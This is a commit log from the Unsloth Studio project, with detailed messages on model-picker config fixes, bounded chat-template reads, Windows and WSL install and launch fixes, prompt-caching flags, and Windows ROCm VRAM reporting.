The load endpoint accepted an unbounded chat_template_override, so a
direct caller could hand llama.cpp an arbitrarily large Jinja template
even though the frontend, the validate endpoint, and the read paths all
enforce the 64 KiB limit. Reuse MAX_CHAT_TEMPLATE_BYTES in the
LoadRequest validator, rejecting oversized templates with a fast
character-count check before the exact UTF-8 byte check.

* Protect existing per-model configs during legacy migration

When the one-time legacy import pushes the store over budget, eviction
now protects the entries the user already has and drops only the
just-migrated legacy entries, so importing old load settings can never
discard a newer per-model config.

* Reset clears the context override instead of pinning the native value

Reset wrote the discovered native context into customContextLength for
GGUF models, but isDefaultConfig treats any non-null customContextLength
as an explicit pin, so Reset with Remember enabled persisted a fixed
context and future loads stopped using the native auto context. Reset
now restores the full default (customContextLength null); the native
value is still shown through the existing display fallback.

* Bound chat-template sidecar reads to a size limit

The chat_template.json, tokenizer_config.json, and Hub-downloaded sidecar
readers decoded and json-parsed the whole file before the extracted
template hit the 64 KiB response cap, so an oversized metadata file could
exhaust memory. Read them through a bounded reader (4 MiB envelope) that
returns None when the file is larger, matching the existing chat_template.jinja
size guard. Adds tests for oversized tokenizer_config.json and chat_template.json.

* Keep the native-path token and lease expiry in sync

Rollback after a failed reload restored the previous token but left the
failed load's expiry in the store, so a later reload could be falsely
blocked as expired (token A paired with load B's lease). Restore the
previous lease alongside the token, and clear the expiry wherever the
token is cleared on a non-GGUF transition, so the two never diverge.

* Clear the native file lease on compare-pane loads

* Studio: add regression tests for the model-picker per-model-config

Guard the specific regressions that reverted the predecessor change:
- backend pytest (studio/backend/tests/test_model_picker_regression.py):
  infra-model hiding, HF token via header with query fallback, and the
  chat-template byte caps.
- source contracts (tests/studio/test_model_picker_contracts.py): the token
  stays out of the URL, the context ceiling is floored, the native lease is
  cleared on compare-load and restored on rollback, the default caches key on
  the inventory version, and the hidden needles stay present.
- Playwright E2E (tests/studio/playwright_model_config.py) wired into
  studio-ui-smoke.yml on port 18898: Context Length persists across a reload,
  Reset clears the stored override, and infra models are absent from the picker.
- optional GPU-gated inference smoke (tests/studio/test_gpu_inference_smoke.py)
  that auto-skips on GPU-less CI and stays short on a GPU.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: model pinning, row menus, hub inference settings, and inventory filters

Pinning
- Add a pinned models store (localStorage) with repo and per-quant pins
- Pinned section in the model selector's On Device list and the hub inventory,
  with newest pins first so Pin to top lands on top
- Deleting a repo drops its pins

Row menus
- Replace loose row icons with a shared 3-dots menu (pin, reveal in file
  manager, copy identifier, copy path, delete) on picker rows, hub quant rows,
  the hub run bar, and on-device inventory rows
- Menus only render for models actually on disk; platform-aware reveal labels
- Backend: cached-model-path and reveal-cached-model endpoints resolving
  managed HF-cache repos only

Hub inference settings
- Gear in the GGUF run bar opens an Inference settings dialog reusing the chat
  page's controls: model config (context length, KV cache, speculative
  decoding, chat template), system prompt, reasoning, sampling, tools and
  retrieval

Inventory
- Model-type filter (text, vision, embedding, STT, TTS, diffusion) beside the
  sort pill, both with a sort icon, capped widths and truncation so the
  On device heading never wraps
- Unsloth-owned repos without an upstream provider logo fall back to the
  Unsloth mascot avatar
- Discover / On Device tabs widened; hub search bar narrowed to match

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: revert the Unsloth mascot avatar fallback

Unsloth-owned repos without an upstream provider match go back to the
colored-initial tile, and unslothai is no longer a relabeled owner.

* Studio: run-bar options on single models, and aligned type/capability filters

- Give single-model (non-GGUF) run bars the same 3-dots options menu and
  settings gear as GGUF, at repo level
- Drop Pin to top from the run-bar menus; pinning stays in the On Device list
- Add an Image to text (diffusion) capability with detection, and surface it
  in both the hub Discover capability filter and the On Device type filter
- Align the On Device type filter with the Discover capability options and
  share the same detection so both dropdowns match

* Studio: apply hub inference config on reload, eject action, and run-bar polish

- Fix inference settings not applying: the hub dialog now writes the config to
  the runtime before reload, matching the chat page (selectModel reads runtime
  state, not the selection)
- Order the settings gear before the 3-dots menu in the run bars
- Replace the loaded-model run-bar action (New Chat) with Eject, wired through
  the inspector to the hub's ejectModel
- Truncate the results heading so a long search query clips instead of
  overlapping the header pills in split view
- Use a plain magnifying-glass icon for the no-results empty state

* Studio: fix GPU settings loss, load guards, pins, filters, and cached paths

Reloading a model from the chat sidebar or the hub gear dialog rebuilt the
per-model config without the GPU memory fields, so manual GPU layers, MoE
placement, and the GPU pick were reset on every reload and could be saved
over a remembered config. The active config now comes from a shared
useActiveModelConfig hook that carries the GPU fields for GGUF models, and
the sidebar remount signature tracks them through a shared gpuFieldsSignature
helper.

The in-flight load guard lived in a ref inside each useChatModelRuntime
instance, so the chat page, hub page, and gear dialog could not see each
other's loads. A load started from the gear dialog left the hub page free to
eject the model mid-reload or start a second concurrent load. The runtime
store now records the loading pick, selectModel checks it across instances,
and ejectModel refuses with a toast while any load is in flight.

The cached-model-path endpoint matched GGUF files by basename and excluded
only mmproj, so Copy path and Reveal could return an MTP drafter for a quant
and returned 404 for directory layouts like BF16/model-00001.gguf. Variant
files are now resolved from snapshot-relative paths with the same drafter,
mmproj, and big-endian exclusions as the load path, shared through a new
_main_variant_gguf_label helper.

Hub and picker fixes:
- rename the diffusion capability label from "Image to text" to
  "Image generation", since it detects image generators
- validate pinned quants through the cached variant listing, keep the last
  verified set while revalidating, and drop deleted quants immediately
- pass a measured scroll margin to the on-device virtual list so rows past
  the overscan stay visible below the pinned block
- keep the delete menu for stopped partial safetensors downloads
- give the inventory type filter a reset in Clear filters, a truthful empty
  state with a Show all types action, and hide it on the datasets view
- order picker pinned rows by pin recency, include pinned matches in the
  empty-state check, and sync pins across browser tabs
- count only the visible rows in the On device list header

Tests: contract checks for each fix in test_model_picker_contracts.py and a
backend test for the variant label selection.

* Studio: reveal cached models in Windows Explorer under WSL

The reveal endpoint only branched on macOS, Windows, and generic Linux.
Under WSL the Linux branch spawned xdg-open, which is missing on a stock
distro without a Linux desktop, so the request failed with a 500 and the
UI showed a failed to open file manager error.

WSL is now detected with the existing helper and the path is converted
with wslpath before opening explorer.exe, selecting the file the same
way native Windows does. Directories open directly. When interop is
unavailable the old xdg-open fallback still runs. The macOS, native
Windows, and native Linux branches are unchanged, and the Tauri app is
covered since its hub reveal calls this same local endpoint.

Tests: platform guards for the WSL reveal, the interop fallback, and
the unchanged native Linux behavior in tests/studio/test_reveal_file_manager.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Adjust model picker row spacing and cogwheel hover consistency

* Studio: exact hidden model ids and newest revision cached paths

A custom RAG embedder repo was published to the frontend as a basename
substring needle, so a generic name like org/model could hide unrelated
models in the pickers. The hidden-models endpoint now sends full repo ids
that are matched exactly.

Copy path and Reveal picked a GGUF variant from an arbitrary cache
revision when the same file existed in more than one. The newest revision
now wins, matching the whole repo lookup.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix model picker GPU config, metadata, and cache selection

Load each compare model with its saved GPU memory mode, GPU layers, CPU MoE layers, and selected GPU IDs. Reconcile saved GPU IDs with the current hardware. Include the active native GGUF path token in metadata checks. Search all Hugging Face cache roots when resolving cached models and select the largest visible cache entry. Remove obsolete barrel exports and the staging-only GPU memory helper.

* Studio: hide hub inference settings gear for now

The cogwheel in the hub download cards is out of scope for this PR. The
dialog component stays in place and a TODO marks where the button
returns in a future PR.

* Refresh hidden model matchers

* Fix GGUF detection, compare context pin, and picker delete staleness

Treat any pick with a GGUF variant as GGUF in selectModel so the first
load after downloading an uncached quant validates and sizes with the
right GPU settings instead of unloading the current model on a wrong
preflight. Variant picks now also set isGguf on their selection meta.

Stop compare panes from inheriting the active model's context pin when
their own saved config says Auto. Null context in a remembered config
now means no pin, matching how the pane settings are shown.

Route picker deletes through the hub inventory client, which
invalidates the HF cache scan and the variants cache. The legacy
delete route left the scan cache warm, so deleted models reappeared
in the picker until the TTL expired. Removed the now unused legacy
delete client and updated the contract test to match.

* Studio: fix stale GGUF load-marker ordering test

The load-in-flight marker still precedes the hub-download guard and the
unload, but the llama_extra_args inheritance that used to sit between the
marker and the guard now runs ahead of the GGUF branch, so it is no
longer a landmark inside the sliced source. Drop it from the ordering
assertion and keep the marker -> guard -> unload invariant.

* Studio: fix per-model config edge cases in compare loads and saved defaults

- chat-settings-sheet: gate the MTP fallback note and context/VRAM warning on
  the broader isGguf (variant, loaded gguf context, or .gguf suffix) instead of
  isLoadedGguf, so direct-file and custom-folder GGUF loads still surface
  those diagnostics.
- shared-composer: a compare pane's context now comes from its own config only
  (a saved pin, else null for Auto/native). It no longer inherits the active
  model's shared snapshot, which resolveFitMaxSeqLength treated as an explicit
  pin and could load a pane at another model's context (VRAM/OOM), matching the
  single-model load path.
- model-config-page: when an auto-fit GGUF is saved with fixed GPU layers
  (Manual) and Remember, pin the displayed fitted context so a later fresh load
  keeps the placement instead of sending native/0 and recreating the OOM.
- per-model-config: treat Auto GPU memory mode and Auto/default speculative type
  as follow-global defaults; do not persist them as per-model overrides so later
  global preference changes keep applying.

* Studio: gate vision capability on GGUF projectors and bound remote template downloads

- cache_inventory: only mark a cached repo vision-capable when it holds an actual
  GGUF mmproj projector, not any file whose name merely contains "mmproj" (e.g.
  mmproj_config.json), matching the runtime's GGUF-only projector detection.
- picker/service: pre-check the remote file size before downloading an uncached
  repo's chat template / tokenizer config, so a maliciously large sidecar is
  skipped instead of fetched and retained in full, mirroring the size gate the
  local-file path already applies.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add source-contract guards for the per-model-config edge-case fixes

Guard the four per-model-config fixes against silent regression in CI:
- local GGUF diagnostics gate on the broad isGguf, not the variant-only isLoadedGguf
- fixed-layer GGUF saves pin the displayed context
- Auto GPU mode and Auto/default speculative are not persisted as per-model overrides
- a compare pane's context comes from its own config, not the active model's snapshot

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: clear manual GPU knobs on Default and resolve local embedders before repo-id

- model-config-page: switching GPU Memory back to Default now clears the Manual-only
  knobs (gpuLayers/nCpuMoe/selectedGpuIds); otherwise a remembered config kept stale
  pins that a later load re-applied when the global GPU preference was Manual, despite
  the page showing Default.
- routes/models hidden_model_matchers: resolve an existing local path before the repo-id
  regex, mirroring is_hidden_model, so a local embedder shaped like "models/embedder" is
  hidden by exact path instead of leaking as a chat model.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add _is_mtp_drafter to the model_config stub in the export-paths test

routes/models.py imports _is_mtp_drafter from utils.models.model_config at module
load, but the lightweight stub in test_export_absolute_paths.py did not provide it,
so loading the module under the stub raised ImportError on Backend CI. Add the stub.

* Studio: read a picked GGUF's chat template through the native path lease

The picker chat-template GET has no native-path-lease plumbing, so a
desktop-picked (drag-drop) GGUF could not show its default chat template
in Run Settings until the model was loaded: the endpoint only receives
the display label, not the leased file path.

Read the embedded template through the existing lease-aware
/api/inference/validate probe instead. A new include_chat_template flag
resolves the granted canonical path and returns the GGUF's own embedded
template, never a sibling sidecar (the grant authorizes just that one
file); it skips the training guard like include_context_length and is
bounded by MAX_CHAT_TEMPLATE_BYTES. The frontend fetch mints a one-shot
validate-model lease when a native token is present and keeps the plain
GET path for HF and allowlisted local models.

Adds backend and source-contract regression tests.

* Studio: call worker.direct_wheel_url in the ROCm wheel-url test

The ROCm Mamba/SSM test referenced worker.py's private _direct_wheel_url,
but the worker imports the wheel helper under its public name
direct_wheel_url (utils.wheel_utils). When the worker module loads (its
imports resolve in CI), worker_mod._direct_wheel_url raised AttributeError;
the test only masked it by skipping when the worker could not be imported.
Call the name that actually exists so the assertion runs; it still returns
None for an empty cuda_major (ROCm).

* Studio: reset max sequence length to the app default, not the loaded value

For a non-GGUF active model, the per-model config seeds maxSeqLength from
the loaded runtime value so the panel opens showing the running context.
Reset set config.maxSeqLength to null, but the null fallback resolved back
to that captured runtime value, so the field kept showing the old custom
length and the config saved/reloaded it again. A remembered or active
max-length override therefore could not be cleared from Run settings.

Fall the null/default case back to the app default (clamped to the model's
native ceiling) instead of the active runtime snapshot, so Reset actually
clears the override. The initial view is unaffected: an active model's
config.maxSeqLength is already non-null, so it still shows the loaded value.

Adds a source-contract regression guard.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: persist default max length, refresh deleted quants, hide non-chat locals

Three follow-up fixes from review of the per-model-config picker:

- Max sequence length: the persisted per-model record now keeps config's
  maxSeqLength (null after Reset) so isDefaultConfig can clear a remembered
  override; the resolved app-default is substituted only into the load
  request, never the saved record. Previously Reset saved the concrete
  default and left the model pinned/remembered.
- GGUF variant expander: deleting a downloaded quant from a repo that still
  has other cached quants now bumps the expander refresh key, so the removed
  quant stops showing as downloaded and clickable (which would try to reload
  the deleted file) until the repo is collapsed and reopened.
- Local picker rows: require capabilities.canChat before listing a local
  models-folder / LM Studio row. A weightless folder (only config.json) is
  classified non-chat, and toLocalModelInfo drops capabilities, so selecting
  such a row would try to load a path the inventory already marked non-chat.

Adds source-contract regression guards for all three.

* Fix compare-pane and Reset context defaults in model picker

Two related per-model-config default regressions:

- A non-GGUF compare pane with no saved maxSeqLength fell back to the
  active model's shared runtime snapshot, so comparing a saved 128K model
  against an unconfigured pane loaded the latter at 128K and could OOM. It
  now falls back to the shared app default (DEFAULT_MAX_SEQ_LENGTH), the
  same fallback the single-model config path uses.

- contextAtDefault treated an explicit customContextLength equal to the
  native ceiling as a default, which wedged the Reset button disabled for
  a deliberate pin-to-native. It now counts as default only when there is
  no override at all.

DEFAULT_MAX_SEQ_LENGTH becomes a single exported constant in
per-model-config.ts so the single-model config and the compare path share
one source of truth. Adds source-contract guards for both fixes.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip over-cap remote Jinja templates so the tokenizer template wins

The remote chat-template resolver bounded raw chat_template.jinja downloads
only by MAX_TEMPLATE_METADATA_BYTES (4 MiB), then returned the first
non-empty Jinja unconditionally. The picker route drops any template larger
than MAX_CHAT_TEMPLATE_BYTES (64 KiB), so an uncached repo whose
chat_template.jinja sits between 64 KiB and 4 MiB returned no template at
all, even when a valid smaller tokenizer_config.json template existed. The
local path already skips oversized .jinja files and falls through.

Gate the extracted Jinja on MAX_CHAT_TEMPLATE_BYTES and continue searching
when it exceeds the cap, matching _chat_template_from_jinja_file. The 4 MiB
download bound stays for JSON files that merely embed a small template. Adds
a regression test that a big Jinja plus a valid tokenizer config resolves to
the tokenizer template.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard legacy per-model-config migration idempotency

The v1->v2 localStorage migration (unsloth_load_settings ->
unsloth_model_configs) runs on every store read, so it must migrate exactly
once and never re-run, duplicate, or clobber a newer per-model config on a
reload or restart. That was covered only by a manual proof, so add durable
guards:

- Source-contract test pinning the three idempotency layers (the in-memory
  legacyMigrationChecked guard, the persistent unsloth_model_configs_migrated
  flag set in every terminal branch, and the non-overwriting Object.hasOwn
  merge-skip) plus the readMap invocation. Reddens if any layer is dropped.

- Playwright model-config E2E: promote the legacy-migration step to a gating
  check (soft_fail, which gates under the CI STUDIO_UI_STRICT=1) that the
  migrated value is preserved and the flag is set, then reload again with a
  fresh legacy seed present and assert the stored key set is unchanged, so a
  second reload cannot re-migrate, duplicate, or clobber.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Note the migration E2E now gates idempotency under STUDIO_UI_STRICT

* Tighten model-picker per-model-config code comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-20 22:53:22 -07:00
oobabooga
27f3473c7e
Studio: make tab navigation feel immediate (#7271)
* Studio: make repeated tab switches feel immediate

* Keep cached Studio navigation data fresh

* Make first Studio tab visits responsive

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Serve range requests uncompressed for immutable assets (PR #7271)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: test <test@test.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-20 22:39:43 -07:00
Long Yixing
3d379cdb81
Fix local CLI streamed generation error handling (#7135) 2026-07-20 23:14:58 -03:00
oobabooga
c9d479f9e3
Studio: don't let a malformed HF token empty the model picker's Recommended list (#7266) 2026-07-21 00:55:42 +01:00
Daniel Han
1c77b4d149
Bump install.sh / install.ps1 pin to unsloth>=2026.7.4 (#7263)
PyPI release unsloth 2026.7.4 is live; bump the pinned floor so fresh installs resolve to the new wheel.
2026-07-20 07:17:31 -07:00
Daniel Han
691aebd567 AMD 2026-07-20 07:07:30 -07:00
Daniel Han
796f8497e7
Studio (Windows): keep prompt caching on full GPU offload (#7260)
* Studio (Windows): keep prompt caching on full GPU offload (#5692 follow-up)

The #5692 full-offload tuning also added --no-cache-prompt, which disables
in-VRAM prompt-prefix reuse. That is unrelated to the host-RAM KV checkpoints
#5692 fixed (--cache-ram 0 / --ctx-checkpoints 0): a fully offloaded model keeps
its KV cache in VRAM, so reusing a common prefix does not copy to system RAM and
does not cause the PCI-E overhead. --no-cache-prompt only forces every request to
re-prefill the whole prompt, which is small for short chats but severe for large
stable system prompts reused across calls (coding agents, long multi-turn chats).

Remove --no-cache-prompt; keep the checkpoint disables and the thread/OMP tuning.
_prompt_cache_disabled stays False (its default), so slot save/restore is intact.
Verified on a fully offloaded gemma GGUF: an identical repeated prompt reprefills
1 token instead of 2220.

* Guard against re-adding --no-cache-prompt to any llama-server command

Add a backend-wide test that AST-scans studio/backend and fails if
--no-cache-prompt is appended/extended/+= into a command. This locks in
the #7260 fix across every code path, not just load_model. Detecting the
flag or honouring a user-supplied one stays allowed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-20 06:47:08 -07:00
oobabooga
1b3bce0530
Studio: validate Hugging Face tokens before use (#7261)
* Studio: validate Hugging Face tokens before use

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep token validation failures non-blocking

* Studio: harden Hugging Face token preflight

* Studio: make token validation effect lint-safe

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-20 14:40:14 +01:00
Lee Jackson
e092895e01
Fix On Device model picker startup ordering (#6994)
* Fix on-device model picker startup ordering

* Fix on-device picker cached local remounts

* fix(studio): stabilize on-device picker readiness

* fix(studio): prevent stale picker refreshes

* fix(studio): retry incomplete picker scans

* fix(studio): preserve replacement picker readiness

* fix(studio): preserve slow local scans

---------

Co-authored-by: Long Yixing <longyixing331@gmail.com>
2026-07-20 06:17:45 -07:00
Daniel Han
c7b17c455b
Fix unsloth start on Windows: agent install, PATH resolution, and local model selection (#7257)
* unsloth start: fix Windows agent install/launch and local model selection

- claude: pin availableModels to the served model in the session --settings
  overlay so a user's ~/.claude/settings.json allowlist no longer substitutes
  the org default for the local Unsloth model. The allowlist covers --model,
  ANTHROPIC_MODEL and the model setting, and an empty [] is ignored, so the pin
  lists the model explicitly.
- installs: run the Windows installer under -ExecutionPolicy Bypass
  (process-scoped, nothing persistent) so npm's npm.ps1 and irm|iex scripts run
  under the default Restricted policy; on failure, hint at Set-ExecutionPolicy
  -Scope CurrentUser -ExecutionPolicy RemoteSigned for a hand-run retry.
- PATH: resolve agents installed to ~/.local/bin (claude) and %APPDATA%\npm (npm
  agents) in-process, so a fresh install launches without opening a new shell and
  an already-installed agent is not re-prompted for install.
- load message: "Loading <model> - please wait" while a model loads.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* unsloth start: resolve agent version against the launch PATH

The claude/codex/opencode version probes ran shutil.which while building the
command, before _launch augments PATH with the known install dirs. An agent
present only in ~/.local/bin or %APPDATA%\npm was therefore missed, assumed to
be a current build, and launched with flags an older build rejects (claude
aborts on the unknown flags). Route the three probes through a new
_which_with_install_dirs() so each resolves the same binary _launch will,
restoring PATH afterward so only _launch persists the augmentation.

Add regression tests for the three probes (POSIX and the Windows npm dir) and
make the Windows-branch tests run on POSIX hosts (pinning Path to the native
flavour so a simulated os.name does not make pathlib build WindowsPath).

* unsloth start: keep os.defpath when augmenting an unset PATH

_augment_path_with_install_dirs collapsed an unset PATH to just the install
dirs, dropping the os.defpath fallback (/bin:/usr/bin) that shutil.which and
exec*p* use when PATH is absent. A system-installed agent then looked missing
and the launched child lost its normal PATH. Seed os.defpath when PATH is
unset; an explicitly empty PATH is left as-is (search nothing), matching
shutil.which. Add regression tests for the augment helper and the version-probe
wrapper.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-20 06:05:28 -07:00
oobabooga
7313be1466
Studio: lock the last enabled GPU switch instead of silently ignoring it (#7259) 2026-07-20 05:57:49 -07:00
Lee Jackson
39a999c056
Update README with latest features and Unsloth Start (#7258)
* Document local agent connections

* Refresh README features and news

* Tighten README feature copy

* Restore selective README emphasis

* Add Unsloth Start quickstart

* Update

* Mention

* Update README.md

* Reduce

* Restore-inference-order

* Split-agent-API-features
2026-07-20 05:57:14 -07:00
Michael Han
2916e84499
Studio: clarify tool permission controls (#7181) 2026-07-20 09:55:39 -03:00
Daniel Han
bdf51525ea
Studio: make Stop and stall deadlines interrupt a wedged stream portably (#7236)
* Studio: make Stop and stall deadlines interrupt a wedged stream portably

The cancel watcher unblocks a stalled read by shutting the socket down from
another thread, which works on POSIX but not reliably on native Windows, where
Winsock does not dependably wake a recv() already in progress on another thread.
Wrap the httpcore network stream so the reader loops each read in short slices
and polls the cancel event itself. Stop and the stall deadlines now interrupt a
wedged mid-stream read without any cross-thread socket teardown, and a slow but
still-alive stream is never torn down. The POSIX shutdown path is preserved.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor the post-first-token stall timeout in the cancel-aware read

httpcore snapshots request.extensions timeout read once when the body
starts, so lowering it to the stall timeout after the first token never
reached the socket read and a one-token-then-silent server hung for the
full prefill window. Re-read the live extensions timeout per call and
bound each read by it, falling back to the httpcore-passed timeout when
absent so prefill and normal completion are unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten comments in the llama.cpp stall timeout path

* Tighten comments in the stream stall cancel path

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-20 05:29:18 -07:00
Daniel Han
6c78147980
Studio: do not show Run for embedding-only non-GGUF models in the Model Hub (#7245)
* Studio: do not show Run for embedding-only non-GGUF models in the Model Hub

A downloaded embedding-only repo (sentence-transformers, feature-extraction)
reports canChat by safetensors format and classifies as supported, so the Model
Hub showed a Run button that dead-ends at load. Keep embedding-only non-GGUF
models out of the Run gate. GGUF is unaffected (llama.cpp resolves embed vs
generate at load time), and these models stay trainable.

* Gate embedding-only models on the pipeline tag, not just capabilities

An embedding repo whose name or tags also imply code, vision, audio or
reasoning (e.g. jina-embeddings-v2-base-code picks up code from its
-code suffix) slipped the embedding-only Run gate and dead-ended on a
chat load. Treat a feature-extraction or sentence-similarity pipeline
tag as authoritative for the gate; the change only ever widens it.

* studio: tighten comments in the hub embedding run guard

* Tighten comments in the hub embedding run guard

---------

Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-20 05:28:31 -07:00
Daniel Han
66808ab25d
Studio: fix per-GPU VRAM reporting on Windows ROCm (#7238)
* Studio: fix per-GPU VRAM reporting on Windows ROCm

On Windows ROCm without a HIP SDK, amd-smi is disabled and the System tab fell
back to torch mem_get_info, which reports free==total there (ROCm/ROCm#1909), so
used VRAM showed as 0. The perf-counter fallback also summed every adapter into a
single device with only GPU 0's total, hiding the second GPU.

Read per-adapter Dedicated Usage (LUID-instanced) for used and take each GPU's
total from torch properties, and treat the free==total case as unknown rather
than 0, so every GPU shows real usage. NVIDIA, Linux ROCm, Apple and CPU paths
are unchanged. Final validation needs a real Windows AMD box.

Fixes #7072

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: report unknown VRAM instead of fabricating or zeroing it

Two gaps in the Windows ROCm VRAM path. When more adapters are actively using
VRAM than are visible to the process (a GPU outside the visibility mask), the
per-adapter attribution paired usage by size and fabricated a per-GPU value;
report unknown for every device in that case rather than mis-assign. And the
System API turned an unknown (None) used value into 0 with ``or 0``, then
reported the full card as free, re-hiding the exact case this change surfaces;
keep None so the UI shows unknown.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Render unknown VRAM as Unknown instead of zero in the System tab

The backend reports null usage when it is unknown (e.g. the Windows ROCm
perf counter is unavailable or localized), but the System tab coerced
null to 0 and derived free from it, fabricating a 0-used/full-free total.
Preserve null and render the translated Unknown for per-device used, free
and utilization, and mark the aggregate VRAM tile unknown when any device
is unknown.

* Render unknown VRAM as Unknown in the floating monitor and the util tile

The floating VRAM monitor and the aggregate utilization ring both still
coerced a null usage to 0, showing a fabricated 0.00 GiB / full free / 0%
on the same Windows ROCm no-counter case the resources tab already
handles. Guard both on whether every device reports a finite usage and
render Unknown (value and percent) instead of a concrete 0.

* Attribute per-adapter VRAM usage only when capacity forces the mapping

On Windows/ROCm there is no shared key between LUID performance-counter
instances and torch ordinals, so usage was paired to devices purely by capacity
ranking. That pairing is only trustworthy when capacity forces it (a usage
larger than every smaller device can sit on one card). When a smaller-capacity
device could equally hold a strictly larger usage (for example an 8 GiB card
near full beside a lightly used 48 GiB card), the two values are swappable
without violating any capacity, so the ranking is a guess with no key to break
the tie. A wrong guess both mislabels the System tab and feeds
routes/training_vram.py a wrong per-index free value, driving a wrong
keep-resident decision.

Report unknown for every device when the assignment is ambiguous, keeping the
attribution only for the capacity-forced case. Returning None is the
conservative direction: training_vram treats a missing index as zero free, so it
never keeps a chat model into an OOM. Add regression tests for the
not-capacity-ordered, same-capacity, single-fits-both, and capacity-forced
cases.

* Report unknown VRAM usage when a hidden adapter survives the noise filter

When HIP_VISIBLE_DEVICES exposes a subset of the physical adapters, the LUID
usage counters cover cards outside the visibility mask too. The sub-64 MiB noise
filter could drop a genuinely-idle visible card's real usage while keeping a
hidden larger card's high usage, which was then clamped onto the smaller visible
device and reported as fully used (for example a hidden 48 GiB card at 40 GiB
shown as a visible 8 GiB card fully used, with its true 10 MiB usage filtered
out). That fabricated reading also feeds routes/training_vram.py a wrong
per-index free value.

Flag extra adapters on the raw counter count (before the noise filter, since an
idle visible card can itself fall below the floor) and, when a kept usage exceeds
its ranked visible capacity, report unknown rather than clamp a hidden card's
usage onto a visible device. The genuinely-idle-noise and capacity-forced
single-model cases are unchanged. Add a regression test for the hidden
high-use-adapter case in both counter orders.

* Report unknown when only a placeholder adapter counter survives the noise filter

When more raw counters than visible devices are present but every counter sits
below the 64 MiB noise floor (an idle real GPU alongside a Windows Basic Render
Driver placeholder), the non_trivial-or-raw fallback resurrected the raw
magnitude-sorted counters and could attribute the placeholder to a real GPU while
dropping a real card's reading. With a single visible device the swap-ambiguity
check cannot catch it (it needs at least two ranks), so the fabricated value
reached the System tab and automatic GPU selection.

Return unknown for every device in that case instead of falling back to raw
counters. With the earlier guards this completes the invariant: a concrete
per-GPU usage is emitted only when the assignment is capacity-forced, and every
ambiguous, extra-adapter, placeholder-fallback, or count-mismatch path reports
unknown. Add a regression test for the placeholder fallback in both counter
orders and the two-idle-GPU case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: attribute Windows/ROCm VRAM only when capacity forces a clean bijection

With more raw adapter counters than visible devices, a survivor that merely
fits a visible card was pinned to it by magnitude ranking, fabricating a hidden
GPU's usage onto an idle visible card whose true reading was dropped by the
sub-threshold noise filter (two visible 48/8 GiB cards using 40 GiB / 10 MiB
beside a hidden 6 GiB adapter returned [40, 6]). Emit a concrete per-device
value only when the supra-threshold counters number exactly the visible devices
(every visible card has one real reading, the extras were sub-threshold
placeholders) AND the ranked usage strictly exceeds every smaller visible card's
capacity. When a visible card is idle (fewer supra-threshold counters than
devices) a survivor could be the hidden GPU's usage, so every device reports
unknown; more active counters than visible cards, the smallest card, and any
merely-fitting usage stay unknown too. The reporter's loaded-card display is
preserved (40 GiB / 0.5 GiB across 48/8 GiB -> [40, None]). Adds a regression
test for the reported case plus an exhaustive capacity-forced/bijection matrix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: keep the unified-memory total when Windows-ROCm used is unknown

_apply_unified_memory_correction gated both the total and the used update on
torch_used_gb being known, so on a unified-memory APU (Strix Halo) where torch
reports used=None (the Windows-ROCm free==total sentinel) but an authoritative
full-GTT total, the device kept amd-smi's small dedicated carve-out and
underreported its capacity on the System tab. Adopt torch's larger total
independently of used; overwrite used only when torch's is known (otherwise keep
